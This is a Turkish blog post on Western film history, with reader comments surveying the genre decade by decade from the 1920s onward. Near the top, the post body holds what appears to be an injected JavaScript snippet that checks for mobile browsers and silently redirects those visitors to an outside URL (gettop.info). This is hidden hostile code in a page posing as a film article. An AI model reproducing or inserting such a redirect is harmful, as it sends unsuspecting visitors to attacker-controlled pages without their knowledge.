“Western” Sineması

Bir çok sinemaseverin gönlünde apayrı bir yer tutar western sineması. Kendi içerisinde de çeşitli dallara ayrılan (spagetti vb.) ve son senelerde düşüşe geçtiği, nitelikli örneklerine pek rastlanmadığı şeklinde genel kabul gören bu tür üzerine görüşlerimizi başlıkta paylaşabilir; kısa kısa açıklamalı örnekler sunabiliriz diye düşünüyorum.

Aşağıda peşi sıra aktaracağım ve türün az da olsa elifbasını çıkartmamıza yardımcı olacak yazıların tümü “alıntılanmıştır.” (yesilcam.gen.tr. adresine sonsuz teşekkürler.) …

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

““Western” Sineması” bu yazı hakkında 37 yorum var

  • okaliptus80 diyor ki:

    20′ler ;
    (Kovboyların arenası)

    20′li yıllar “yalnız kovboy” imgesinin ilk ortaya çıktığı yıllardır. Melankolik ve ciddi kovboy William S. Hart’dan sonra 20′li yılların asıl western kahramanı Tommiks, yani şu bizim bildiğimiz Tommiks’di. Çocuklar onu çok seviyordu. Sigara ve içki kullanmıyor, kadınlara takılmıyor, küfür etmiyor ve silahı en son çare olarak düşünüp yumruklarını kullanıyordu. Tommiks cinsellik konusunda da ergenliğe henüz girmiş utangaç bir delikanlı gibi davranırdı. Tıpkı onu izleyen diğer kovboylar gibi… Bu kovboyların aseksüel hayatları daha sonra dillere pelesenk bile olacaktı. John Wayne’in acemi ve kaba öpüşleri bir yana, Life dergisinde, şarkı söyleyen kovboy Roy Rogers’ın, “filmdeki kadın rol arkadaşını öpemezken atını öpmeyi gayet iyi becerdiğine” dair bir yazı bile çıkmıştı.

    Bu arada, 20′li yıllarda tam bir western enflasyonu yaşanıyordu. Şimdinin televizyon dizilerini hatırlatan “seriyal” filmlerdi bunlar. Her hafta bir bölümü çekilen bu filmler anında seyredilip tüketiliyordu. Tommiks’in yanısıra Buck Jones, Tim McCoy ve Hoot Gibson gibi başka western kahramanları da vardı.

    Bu dönemde çevrilen filmlerin çoğunun kaynağı ise bugün bile hâlâ en çok okunulan yazarlar arasında yer alan ve yaklaşık yüz hikayeyi kaleme alan Zane Grey’di.
    Ama “anında tüket ve sindir” mantığıyla çekilen bu filmlere bir tepki de vardı. James Cruze, bu tepkiden yararlanarak 1923′de epik bir western olan “Atlı Araba” ile büyük yankı uyandırdı. Film o zamanlar için, yaklaşık 2 bin kişinin çalıştığı tam bir süper prodüksiyondu.
    Çok değil bir sene sonra Jack Ford isminde biri (daha sonra ön adını John diye değiştirecekti) Amerika kıtasını bir baştan bir başa bağlayan demir yolunun yapımını anlatan “Demir At”ı gerçekleştirdi. Bu, onun 40. westerniydi ama hem kendi için hem de western tarihi için bir dönüm noktası niteliğini taşıyordu. Ford, hikayenin içine Amerikan tarihiyle ilgili ahlaki ve toplumsal mesajlar döşemişti, bu da western için küçük bir devrimdi. Tarihin acımasızlığı karşısında kendilerini kadere bırakmaktan başka bir çare bulamayan Ford kahramanları için yapılacak tek şey onurlarını korumaktı.
    20′li yılların sonlarına doğru bir başka western klasiği sayılan “Man of the West” (Batı’dan Gelen Adam) geldi. “Heaven’s Gate/Cennetin Kapısı” filminin yapımcısı Steven Bach, bu filmin “Gary Cooper’ı, yani Western yıldızlarının en büyüğünü yarattığını” söylüyordu.
    Yönetmen 10 yıl sonra sinema tarihinin en çok seyredilen filmi “Rüzgar Gibi Geçti”yi çekecek olan Victor Fleming’di. “Batı’dan gelen Adam”da, Gary Cooper gibi gerçek bir western yıldızının haricinde, bir westernde olması gereken bütün özellikler vardı: Dramatik bir aşk hikayesi, ölümüne rekabet ve gün batımında bir düello. Fleming’in Owen Wisters’ın romanından yola çıkarak gerçekleştirdiği film, özellikle de hiçbir heyecan belirtisi taşımayan, “cool” dialoglarıyla da adını duyurdu. Sözgelimi Gary Cooper’ın ölümcül bir aşağılamaya verdiği yanıt; “Madem bana böyle hitap etmek istiyorsun, o zaman gülümse.”

  • okaliptus80 diyor ki:


    30′lar ;
    (Ölüm geçidinden)

    “Benim kahramanım iyi bir binicidir.” Raoul Walsh hatıralarını yazdığı kitabı “Each Man in His Time”da böyle diyordu. Kastettiği kişi ise Marion Michael Morrison isimli genç bir figurandı. Bu genç adam, General Anthony Wayne’in anısına isimini John Wayne olarak değiştirmişti.
    John Wayne’in başrol oyuncusu olarak ortaya çıktığı dönem 30′lu yılların başlangıcını, yani westernde sesli filmin ilk dönemini oluşturur.
    Walsh’ın çekimler boyunca tüketilen viski tüketimi yüzünden ismini “The Big Drink” olarak değiştirdiği “The Big Trail” John Wayne’in birçok açıdan kendini kanıtlamasını sağladı.
    İlk defa ona önemli bir rol veriliyordu. Hem de öyle küçük bir filmcikte değil, iki buçuk saat süren dev bir prodüksiyonda. “The Big Trail” eleştirmenlerce çok beğenildi, sinema gişelerinde ise durum bir felaketti. Ama “The Big Trail”in başarısızlığı western türünün gelişmesine engel olmadı.
    O zamanlar bu ticari başarısızlığın sebebi olarak sinema işletmecilerinin sistemlerini 65 mm’liğe dönüştürmek istememelerine bağlandı. Film tarihçisi Steven Zmijevski bu konuda şunları söylüyor; “Bu başarısızlıktan sonra Fox, film tarihinin en önemli iki unsurunun, genişperdenin ve John Wayne’in, western’de gelecekleri olmadığına inandılar.”

    30′lu yılların bitmesine kısa bir süre kala, gerek teknik gerekse konu olarak her biri western türünün gelişmesine katkıda bulunacak yedi parlak film yapıldı.
    30′lu yıllarda çevrilen “Oklahoma Kid” iki “şehir adamı” kılıklı oyuncuyu, Humphrey Bogart ve James Cagney’e kovboy şapkası giydirdi. John Ford 18. yüzyılın cesur öncüleri anısına başrollerinde Henry Fonda ve Claudette Colbert’in oynadığı “Drums Along The Mohawk”ı çevirdi. Henry King’in filmi “Jesse James”de James kardeşleri Tyrone Power ve Henry Fonda canlandırdı. “Town tamer stories” denen, yani adalet ve düzen sağlayan korkusuz adam hikayelerine o dönemde çok rastlanıyordu. Sözgelimi Michael Curtiz’in “Dodge City” ve George Marshall’ın “Destry Rides Again” filmleri… İki film de aşık birer çiftle tanıştırdılar seyirciyi. Curtiz, Olivia de Havilland ile Erol Flynn’i biraraya getiriken Marshall da ilk sesli western komedisinde Marlene Dietrich ile James Stewart’ı birbirine aşık etmişti.

    Sinema tarihinin en müsrif yönetmenlerinden Cecil B. De Mille’in hikaye olarak John Ford’un “Demir At” filminden esinlenerek çektiği “Union Pacific”, vatanseverlikle süslenmiş pahalı bir komediydi. Daha sonra “Ringo” ismiyle anılacak olan John Ford’un “Stagecoach”ı (Posta Arabası) ise yalnız o yılların değil bütün zamanların en önemli western’i haline geldi. “Posta Arabası”, John Wayne’i de gerçek bir star konumuna getirmişti. Western’in altın çağı artık hiç de uzak değildi.

  • okaliptus80 diyor ki:


    40′lar ;
    (Uçsuz bucaksız çöller)

    Bundan sonraki otuz yıl içinde en büyük Western yönetmenleri ve en iyi oyuncular ortaya çıktı. Bu kadarla da kalmadı. Western derinlik kazanmıştı artık. Psikolojik, ahlaki, mitolojik ve erotik öğeler giderek daha baskın hale geliyordu. Hatta en güzel aşk filmleri bile bu türün içinden çıkmaya başlamıştı. İnsanlar gittikçe daha fazla özgürlüklerine, şehirlerine, ülkelerine ve hayat tarzlarına düşkün olmaya başlamışlardı. Birleşik Devletler’in giderek daha çok sarıldığı bu değerlerin en iyi yansıtılabileceği yer de bir zamanların Eski Batı’sıydı… Üstelik eğlenceyi, gerilimi ve serüveni barındıran bir türdü bu. “Filmin sonunda kim dikey durumda sahneden çıkacak?” Filmleri böylesine popüler yapan da bu heyecanlı gerilimdi. Ancak yaratıcıları için western çekmek hiç de sanıldığı kadar kolay değildi.

    En güzel aşk hikayelerinin ölümle sonuçlandığı Shakespeare’den beri bilinen bir gerçektir. Sözgelimi deli fişek Jennifer Jones ve kanı kaynayan genç kovboy Gregory Peck, “Duel in the Sun”da birbirlerini vururlar. Gary Cooper arkadaşı Walter Brennan’a, onu “tuzağa düşürdüğü” için “The Westerner”de kanlı bir biçimde veda eder. Henry Fonda’nın canyoldaşı Victor Mature ise “My Darling Clementine/Kanun Harici” filminde hayatından olur. Ancak filmin yönetmeni John Ford bu sonu tarihten esinlenerek hazırlamış ve kuşaklar önce sinemaseverlerin kalbini kırmıştı.

    Wyatt Earp ile Doc Holliday’in gerçek hikayesi, yani kanun adamının ölümcül hastalığı olan kanun kaçağına aşık olması bu türün en ünlü aşk hikayelerinden biridir. Nitekim John Ford’un filminde ilk defa Holliday’le (Victor Mature) karşılaşan Earp’ün (Henry Ford) ilk sözleri şunlar olur; “Bu adam hoşuma gidebilir.” Burt Lancaster ve Kirk Douglas’ın aynı rollerde oynadığı film için ise 1957 senesinde New York Times gazetesinde, Lancaster’ın filmin sonunda “Rhonda Fleming sülük gibi boynuna yapışmışken arkadaşı Kirk’ün San Fransisco’ya gidişini hüzünle seyrettiğine” ilişkin bir yazı çıkar.
    Lancaster ve Kirk’le “Gunfight at the OK Corral/Korkunç Mücadele” filmini çeviren John Sturges de tıpkı Ford gibi zamanla kanundan yana yer alan Wyatt Earp’ü, kendini yok eden ama aynı zamanda güçlü biri olan Holiday’e gıpta etmekten kendini alamayan bir savaşçı olarak yansıtır. “Kanun Harici”, düşmeyen temposu, karakterlerin oyunu, duygusal derinlik ve heyecanlı karşılaşma sahneleriyle, “Searchers”a rağmen John Ford’un bu yıllarda çevirdiği en iyi film olarak kabul edilir. Ancak ölümüne kadar altmışın üzerinde western’e imza atan ünlü yönetmen, yirmi sene boyunca sadece beş western yapmış olan en büyük ve eleştirmenler tarafından en çok sevilen rakibiyle karşılaşır. 1948′de “Red River/Kanlı Nehir” ile ortaya çıkan Howard Wawks, yüzlerce hayvandan oluşan bir sürüyle film çevirmenin zorluğunun yanısıra western geleneğine ters düşen bir şey yapar ve iki rakibi, yumuşakbaşlı Montgomery Clift ile ürkütücü John Wayne’i filmin sonunda barıştırır. Düşünülenin aksine, olumsuz da olsa çarpıcı bir sonun olmaması gerilim ve heyecanın azalmasına yol açmamıştı. Hikayedeki hareketlilik karakterlerin içindeki kargaşaya dikkat çekiyordu. Kısacası Hawks, Western’e bir ruh kazandırmıştı.

  • okaliptus80 diyor ki:


    50′ler ;
    (Fırtınalı Texas)

    Başka yönetmenler aynı şekilde, hatta daha fazla sevilse de western’in kralları gene de Howard Hawks ve John Ford. Ford daha sonraki eserleri “Searchers/Çöl Aslanı” ve “Kahramanın Sonu” ile, Hawks da ikilemesi “Rio Bravo” ve “El Dorado” (dördünde de John Wayne başrolde) ile western’i ne Fred Zinnemann’ın ne de bir başkasının getirebileceği noktaya getirmiştir. İkisi de insanın seyrederek büyüyebileceği ve ihtiyarlayabileceği filmler çevirerek sinema tarihine damgalarını vurmuştur.

    Ford enginliğin efendisidir. Kimse steplerin üzerindeki gökyüzünün sonsuzluğunu onun kadar güzel yakalayamamış, zaman ve mekanı unutturacak çerçeveler yaratmamıştır. Hawks ise kahramanları arasındaki dostluğu, yakınlığı ve sadece mimiklerle belli edilen sıcaklığı konu olarak seçmiştir. Ford’un bir kızılderili saldırısını nasıl sezdirdiğini seyrettikten sonra ona hayran olmamamak mümkün değil. Yönetmen kısa ama insanın beynine işleyen sahnelerle o anı yaşatıyor. Çocukların savunmasızlığı, anne babaların korkuları, dehşet (bunu açık olarak göstermez) ve o sahipsiz topraklarda hayatta kalmak için savaşmanın zorunluluğu…

    Hawks ise ilk bölüm “Rio Bravo”dan çoğu zaman daha acımasız ama aynı zamanda daha komik “El Dorado” filminde daha sonraki “buddy movie”lerin (iki kafadar filmleri) bazı öğelerini, yani dikkatleri bir tek noktada toplayan derin duygusallığı ve alaycı komikliği içerir. Şerifin ofisine giren herkesin zaten banyo küvetinde oturan Robert Mitchum’a sabunu uzatmasına benzeyen sahneler olmasaydı western’ler daha kuru olurdu.
    İkinci Dünya Savaşı sonrasında çevrilen kovboy filmleri bu yüzden yeni buluşlarla, zevkle, hevesle ve güzelliklerle doludur. Bu yıllarda çevrilen filmler ticari açıdan olduğu kadar içeriğin zenginliği açısından da doruk noktasına ulaşmıştır. Yapımcılar keselerin ağzını açmış, kusursuz yapıtlar ortaya çıkarmak için birbirleriyle yarışmaya başlamıştır. Artık her konuya uygun bir yönetmen ve bir oyuncu bulunmaktadır. Bu dönemde Delmer Daves ilk defa James Stewart’ın oynadığı “The Broken Arrow/Kırık Ok”da kızılderililere olumlu yaklaşır. Henry James, Gregory Peck’i “Gunfighter/Silahşör”de Jimmy Ringo olarak oynatıp, öldürmenin anlamsızlığını işler. Anthony Mann gene James Stewart’ın başrollerinde oynadığı ve içlerinde “Bend of the River/Fedailer Kervanı”nın özellikle seyretmeye değer olduğu beş film çeker ve hepsinde de batılının yalnızlığından söz eder. Aynı sene içersinde Fred Zinnemann ve George Stevens, Gary Cooper ve Alan Ladd’ın oyunculuklarıyla yalnızlığın keşfedilmesiyle ilgili birer melodram yaparlar. “High Noon/Kahraman Şerif” ve “Shane/Vadiler Aslanı” büyük başarı kazanır. Bu arada Kirk Douglas ve Burt Lancaster da John Sturges ve Robert Aldrich ile çalıştıktan sonra Sturges’in filmi “Korkunç Mücadele”de biraraya gelirler. Bir başka yönetmen, Otto Preminger de Marilyn Monroe ve Robert Mitchum’u “River of no Return/Dönüşü Olmayan Nehir”de biraraya getirerek sinemaseverlere 90 dakikalık bir keyif yaşatır. Budd Boetticher ve Randolph Scott tüm zamanların en orijinal hızlı çekimini gerçekleştirir” çıkar. Sam Fuller “Forty Guns” filminde Barbara Stanwyck’i oynatır ve ortaya başdöndürücü bir western çıkar. Son olarak ise Marlon Brando bütün zamanların en iyi filmlerinden olan “One-Eyed Jacks”de yerini alır.

  • okaliptus80 diyor ki:


    60′lar ;
    (Çıplak şiddet)

    Tarihte yaşanmış bütün savaşları tekrar canlandırmışlardı. Kızılderili savaşları, arazi, kadın, altın, hak ve düzen için yapılan savaşlar… Özellikle de kahramanlarının, katillerinin, korkaklarının ve acemilerinin intikam almalarını sağlamışlardı. Birçok insan intikam hikayelerini hâlâ en önemli western öğelerinden biri olarak kabul eder.
    Ancak kahramanlar artık yorgun düşmüştü ve bu yılların yönetmenleri de artık kovboyların yabancılaşmalarını ve hayalkırıklıklarını konu edinmişlerdi. (David Miller ayakta kalan son kovboy olan Kirk Douglas’ı “Lonely Are the Brave/Yalnız ve Cesur” filminde 20. yüzyılın icadı olan ulaşım araçlarından biriyle, arabayla gezdirecek kadar ileri gitmişti). O güne kadar western’ler, kumarbaz, kanun adamı, salon kraliçesi ve eline erkek eli değmemiş öğretmen tiplemelerinin yanısıra, her macerada düellodan başka işi olmayan ama gene de en sempatik ve şerefli karakterleri olan silahşörlerle kaynıyordu.
    İşte bu tür karakterleri yeni ve daha acı şartlara ayak uydurtan ve onları paralı askerler haline getiren yönetmen o güne kadar değeri anlaşılmamış olan John Sturges’ti. Sturges 50′li yıllarda “Last Train From Gun Hill/Kan Davasının Sonu” ve “Bad Day at Black Rock/Kasabanın Sırrı” gibi filmler yapmıştı. Ancak “The Magnificient Seven/Yedi Silahşörler”de bir kusur vardı. Sturges fikir olarak çok daha önemli bir başyapıttan, Akira Kurosawa’nın “Yedi Samuray”ından esinlenmişti. Fikir dışında hiçbir konuda benzerlik göstermemesine rağmen eleştirmenler böylesine saf ve yoğun bir western’in orijinal Amerikan yapımı olmamasını hiçbir zaman hazmedememişlerdir. Buna rağmen “Yedi Silahşörler” tüm Western tarihinin en önemli ve Amerikan televizyon kanallarında en sık oynatılan filmlerinden biridir.

    Bütün yenilikçi özelliğine ve yeni bir alt türün temsilcisi olmasına rağmen Sturges hâlâ eskilerin ruhunu yansıtıyor. 1960 yapımı “Yedi Silahşörler” konu olarak Richard Brooks’un “The Professionals/Profesyoneller” (1966) ve Sam Peckinpah’ın “The Wild Bunch/Vahşi Belde” (1969) filmleriyle yakın benzerlikler gösterse de, Sturges’in kahramanları sadece macera olsun diye olaylara karışır ve bazılarının içindeki insani duygular film ilerledikçe ortaya çıkar. Oysa Brooks’un kahramanları soğukkanlılıkla cinayet işlemekten geri kalmaz ve ancak filmin sonunda çoktan unutmuş olmayı istedikleri eski değerleri tekrar hatırlar. Peckinpah’ın vahşi karakterleri ise gerçekten de hakettikleri gibi haydut olarak gösterilmekte ve onları beklemekte olan kaçınılmaz sona göz göre göre boyun eğmektedir.

    1968′e geldiğimizde ise Western’in artık parlak dönemini geride bıraktığını görüyoruz. George Roy Hill’in “Butch Cassidy and the Sundance Kid/Sonsuz Ölüm”ü sadece bir Western değil aynı zamanda bir traji-komediydi.
    İki “haydut yanki” 1909′da, 200 Bolivyalı asker tarafından öldürülmüştü. “Sonsuz Ölüm”, western tamamiyle önemini kaybetmeden önceki en başarılı filmdi. Sam Peckinpah’ın “Vahşi Belde”si ise Avrupa’da Sergio Leone’nin temsilcisi olduğu akımın doruk noktasındaki filmdi. Peckinpah filmlerini şöyle özetliyordu; “John Ford karakterlerinden biri camdan dışarı baktığında parlak bir gelecek görür. Benimkilerden biri camı açtığında ise şöyle der; ‘Şimdi biri öldürülecek.’” Sergio Leone, özellikle “Once Upon a time in the West/Bir Zamanlar Batı’da” ile spagetti Western’lerin öncüsüdür. Ancak sinema tarihi açısından bakacak olursak 60′lı yıllar Claudia Cardinale’i; “Biri hep bekler” diyerek terkeden Charles Bronson’la değil, bütün kahramanları “Vahşi Belde”de infaz eden Sam Peckinpah’la hatırlanır ve sona erer.

  • okaliptus80 diyor ki:


    70′ler ;
    (Ölüm melodisi)

    Varyasyonların, parodilerin ve son debelenmelerin zamanı… Birkaç sinema bağımlısından başka kim 70′leri hatırlar ki? “Her film türü belli aralıklarla bir güneş tutulması yaşar. Altı yıldır yeteneklerini fazla abartan yönetmenlerin kazaya kurban giden kendini beğenmiş gerçekçi deneylerinin dışında, kayda değer hiçbir western yapılmadı.” İşte Variety dergisi 1975′de şu üzücü ifadeyi kullanıyordu. Herhalde bu yıllarda herkese hitap edebilecek eğlendirici bir tek western bile yoktu. Hepsi gerek politik, gerek psikolojik, gerekse felsefi açıdan fazla abartılmış filmlerdi. Buna rağmen Arthur Penn’in “Little Big Man/Küçük Dev Adam” filmi Richard Brooks’un “Batıya 700 Mil”i ve Robert Benton’ın “Bad Company”si bu dönemin parlak filmlerindendir.
    Herşeye rağmen geçmişi yakalamak artık mümkün değildi. Sergio Leone’nin yönetmenliğe de el atmış olan muhteşem çocuğu Clint Eastwood ve Sydney Pollack (“Jeremiah Johnson”) eski ustalarının şan ve şöhretini sürdürmek için ellerinden geleni yaparken, Sam Peckinpah da “Pat Garret ve Billy the Kid” filmiyle western’e veda ediyordu.
    70′li yılların sonunda ünlü Alman Western otoritesi Joe Hembus şöyle diyordu; “Western’in tekrar Western olabilmesi için yeni bir görüşe, yeni bir mitolojiye, yeni bir rüyaya, yani yeni bir gerçeğe ihtiyacı var. Amerika büyük gerçeği tarihte değil, Amerikan rüyasında buldu.” Bu rüyayı görmek de Kevin Costner’a nasip oldu.



    80′ler ;
    (Cesurlar hep yalnızdır.)

    1980′de Walter Hill ve Michael Cimino gibi yönetmenler Western’i yenilemek için işe koyuldular. Ancak sanatsal açıdan oldukça iyi olan filmleri gişede aynı başarıyı gösteremedi. Ne Hill’in David Carradine’ı ne de Cimino’nun Kris Kristofferson’ı, Harrison Ford gibi batılıyı batıdan uzakta da olsa temsil eden oyuncuların karşısında direnemedi. Bu arada türler öylesine değişmiş ve sömürülmüştü ki klasiklere pek meydan kalmamıştı. Michael Cimino’nun çok pahalıya malolan ama tam bir başarısızlıkla sonuçlanan “Heaven’s Gate/Cennetin Kapısı” filmi ise sadece bir film stüdyosunun değil western’lerin de sonunu hazırlamıştı.
    Bundan beş sene sonra Clint Eastwood ve Lawrence Kasdan tekrar işe girişti. Ancak ikisi de Western’i farklı işledikleri için birbirlerini engellemediler. Eastwood kuru ve tekdüze filmi “Pale Rider” ile Kasdan’ın “Silverado”sundan çok daha büyük bir gişe hasılatı yaptı.
    Buna rağmen herkes daha o zamandan Lawrence Kasdan’ın çok güçlü içgüdüleri olan bir profesyonel olduğunu ve gelecekte iyi işler başaracağını anlamıştı.

  • okaliptus80 diyor ki:


    Şimdiki Zaman ;
    (Sonunda hep hesaplaşılır.)


    “Kurtlarla Dans”ın başarısı neredeyse tarih kitaplarına geçecek. Aynı şey Clint Eastwood’un filmi “Affedilmeyenler” için de geçerli. Ancak “Tombstone”, “Bad Girls” ve “Posse” gibi filmler sinemaseverlerin gözünü açtı. Batılılar yuppieler ya da rap’çiler gibi giyinip hareket etmeye başladıklarında, tarzın yerini sahte tavırlar aldığında ve hiç sebep yokken filmde gereksiz bir hareket varsa o zaman western gerçekten kaybetti demektir. Hem de içinde bulunduğumuz devrin ruhuna karşı.
    Artık bu türde tuhaf şeyler oluyor. Alman film eleştirmeni Rainer Knepperges’in de dediği gibi; “Western sadece at eyerlemekten, kalan mermileri saymaktan ve bardan bir şişe içki alıp masaya getirmekten ibaret değil.”
    Bu yüzden bu dönemde yapılan western’lerin en güzel tarafı, Kevin Costner, Michael Mann ve eski dost Walter Hill gibi yönetmenlerin Amerikalıların atalarını ele alan filmler yapmaları. İnsancıl bir parabol olan “Kurtlarla Dans”, gerçeklerden yola çıkılarak hazırlanan romantik masal “Son Mohikan”, sakin ve duru bir anlatımı olan ama üvey evlat muamelesi gören “Geronimo”… Gerçekten de iyi üç film.
    Özellikle “Geronimo”, Hollywood’un kızılderililere çoktandır borçlu olduğu film olarak kabul ediliyor. Nihayet artık kızılderili oyuncular da hakettikleri saygıyı görüyor. Eğer günümüzde hâlâ Western’lerin bir geleceği olduğunu söyleyebiliyorsak bunu Wes Studi’ye ve Graham Greene’e borçluyuz. Yani bir zamanlar ezilenler artık geleceğin umutları.
    Western geri döndü. Hatta para kazandırmaya bile başladı. Belki asla eskisi gibi olmayacak. John Ford “Vahşi Belde” çevrilmeden yedi sene önce western’e, hoşçakal, dediğinde bunu önceden sezmiş olmalıydı. Sessiz sonsözü “Kahramanın Sonu”unda John Wayne’e baktığınızda, hüzünle gördüğünüz şey kapı aralığından görülen boş ve serin bir odada duran sade bir tahta tabut. John Ford bu filmle Wayne’in canlandırdığı Tom Doniphon’un neden hayatta kalamadığını ve kendi sonunu nasıl hazırladığını anlatır.
    Ayrıca Kevin Costner’ın “Haberci”sini de unutmamak gerekiyor. Sonuç olarak o da bir western, Mart sayımızda söylediğimiz gibi bir kıyamet western’i. Kısaca western kolay kolay ölmez.
    “Feo, fuerte y formal/Çirkindi, güçlüydü ve şerefliydi”… Bunlar John Wayne’in mezar taşında yazılı olanlar. Ancak Hollywood’daki sorumlular “Kahramanın Sonu” gibi başyapıtların değerini bildiklerinde tekrar iyi western’ler çekilebilir. Ayrıca Walter Hill, Carl Franklin, Lawrence Kasdan, Madeleine Stowe, Nick Nolte, Wes Studi, Kevin Costner, Danny Glover ve Clint Eastwood gibi sanatçılar Hollywood’da çalıştığı için de, ancak orada iyi western’ler yapılabilir.

  • okaliptus80 diyor ki:

    Western Tarihinden Bazı Notlar:

    İlk Aksiyon Kahramanı;
    “Broncho Billy” Anderson (1881-1971)’ı takdir etmeden geçemeyiz. O olmasaydı ne John Wayne, ne de diğerleri olurdu. Broncho Western’in ilk çizgisi oturmuş karakteriydi. Kanunlardan yana olan mert bir adam. Ondaki tek eksiklik cazibeydi. Ama cazibesiz de olsa 400 filmde rol almayı başardı.

    Griffith, sinemanın büyükbabası;
    Sinema eleştirmenleri Roloff ve Seesslen, D.W. Griffith’in filmlerini (üstte “The Massacre”, 1992) şöyle tanımlıyorlardı; “İleride insanlar bilecekler ki bir Western’de önemli olan, kahramanın topluluk için başarılı olması. Griffith için önemli olan kimin, nasıl başarılı olduğu.”

    Göç başlayınca…
    İlk Western filmleri pek “Kurtlarla Dans”a ya da “Wyatt Earp”e benzemiyordu. Her şeye küçükten başlandı. James Cruze’un “Atlı Araba”sı 1923′de çevrilmişti ve Batı’nın tarihini epik bir dille anlatmayı hedefliyordu.

    İyi, kötü adam;
    William S. Hart, açık havada yapılan çekimler sırasında görülüyor. Yarattığı kafası karışık karakterlerle “iyi kötü adam kavramını” ortaya atan Hart’ın Western tarihine katkısı tartışılmaz.

    Toz yutanlar;
    Yakima Cannut, Western’lerin vazgeçilmez dublörüydü. Canutt’un “Posta Arabası”filmindeki (1939) inanılmaz akrobatik hareketleri aradan on üç sene geçtikten sonra bile başka filmlerde kullanılıyordu.

    Western’in anası;
    Edwin S. Porter, film çeken ilk yönetmen değildi ama kurgulu dramatik sahne devamlılığını uygulayan ilk yönetmendi. 1903′de çevirdiği “The Big Train Robbery/Büyük Tren Soygunu”, bir Western’de olması gereken bütün özelliklere sahipti. Patlayan silahlar, gerilim, atlar ve trenler. Sadece diyaloglar tam olarak yerine oturmamıştı.

    Ucuz Roman;
    Yüzyılın başında satılan cep kitaplarında Hopalong Cassidy, ayağı aksayan, alkolik bir anti kahramandı. Cassidy’yi 1935′ten itibaren on beş sene beyazperdede canlandıran William Boyd, “Hopy”yi “Çöl Süvarisi” haline getirdi. Bugün hatırlanmasının tek sebebi ise o zamanlar henüz adı duyulmamış olan Robert Mitchum’la beraber oynamış olması.

    Parlak çocuk;
    Şarkı söyleyen kovboylar tam anlamıyla birer baş belasıydı. En ünlüleri Gene Autry ve Roy Rogers olan bu kovboyların o zamanlar bu kadar çok sevilmesinin tek sebebi Birleşik Devletler’in içinde bulunduğu depresyon yıllarının insanların kalplerini ve zihinlerini tarih kitaplarının bize aktardığından çok daha fazla etkilemiş olması olabilir.

  • okaliptus80 diyor ki:


    Western’in babası;
    “Yurttaş Kane” filminin kendini beğenmiş yönetmeni bile hayranlıkla şunları söylemişti; “Ford iyi olduğu zaman filmin kendine ait bir dünyada nefes aldığını, kendine ait bir dünyada yaşadığını hissedersin. Ford bir şair. Bir komedyen. John Ford dünyanın mayasının ne olduğunu biliyor.” “Posta Arabası”nın başarısından sonra bütün filmciler artık bir Western’de bulunması gereken özelliklerin neler olduğunu anlamıştı.

    Oscar amcanın muhalefeti;
